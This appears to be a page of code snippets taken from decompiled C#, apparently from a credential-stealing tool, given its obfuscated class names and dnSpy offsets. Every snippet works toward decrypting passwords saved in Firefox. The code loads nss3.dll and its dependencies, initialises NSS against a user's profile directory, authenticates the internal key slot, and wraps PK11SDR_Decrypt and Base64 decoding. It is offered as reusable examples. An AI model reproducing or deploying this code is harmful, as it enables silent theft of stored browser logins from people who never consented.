Example #1
0
        // Token: 0x06000465 RID: 1125 RVA: 0x00010770 File Offset: 0x0000E970
        private static int PK11SDR_Decrypt(ref Firefox.TSECItem data, ref Firefox.TSECItem result, int cx)
        {
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "PK11SDR_Decrypt");

            Firefox.PK11SDR_DecryptPtr pk11SDR_DecryptPtr = (Firefox.PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.PK11SDR_DecryptPtr));
            return(pk11SDR_DecryptPtr(ref data, ref result, cx));
        }
Example #2
0
        // Token: 0x06000464 RID: 1124 RVA: 0x00010730 File Offset: 0x0000E930
        private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen)
        {
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "NSSBase64_DecodeBuffer");

            Firefox.NSSBase64_DecodeBufferPtr nssbase64_DecodeBufferPtr = (Firefox.NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.NSSBase64_DecodeBufferPtr));
            return(nssbase64_DecodeBufferPtr(arenaOpt, outItemOpt, inStr, inLen));
        }
Example #3
0
        // Token: 0x06000462 RID: 1122 RVA: 0x000106B8 File Offset: 0x0000E8B8
        private static long PK11_GetInternalKeySlot()
        {
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "PK11_GetInternalKeySlot");

            Firefox.PK11_GetInternalKeySlotPtr pk11_GetInternalKeySlotPtr = (Firefox.PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.PK11_GetInternalKeySlotPtr));
            return(pk11_GetInternalKeySlotPtr());
        }
Example #4
0
        // Token: 0x06000463 RID: 1123 RVA: 0x000106F4 File Offset: 0x0000E8F4
        private static long PK11_Authenticate(long slot, bool loadCerts, long wincx)
        {
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "PK11_Authenticate");

            Firefox.PK11_AuthenticatePtr pk11_AuthenticatePtr = (Firefox.PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.PK11_AuthenticatePtr));
            return(pk11_AuthenticatePtr(slot, loadCerts, wincx));
        }
Example #5
0
        // Token: 0x0600045B RID: 1115 RVA: 0x0001037C File Offset: 0x0000E57C
        private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath)
        {
            if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major)
            {
                return;
            }
            GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll");
            GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll");
            GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll");
            GClass26.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll");
            GClass26.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll");
            Firefox.nssModule = GClass26.LoadLibrary(firefoxPath.FullName + "\\nss3.dll");
            IntPtr procAddress = GClass26.GetProcAddress(Firefox.nssModule, "NSS_Init");

            Firefox.NSS_InitPtr nss_InitPtr = (Firefox.NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Firefox.NSS_InitPtr));
            nss_InitPtr(firefoxProfilePath.FullName);
            long slot = Firefox.PK11_GetInternalKeySlot();

            Firefox.PK11_Authenticate(slot, true, 0L);
        }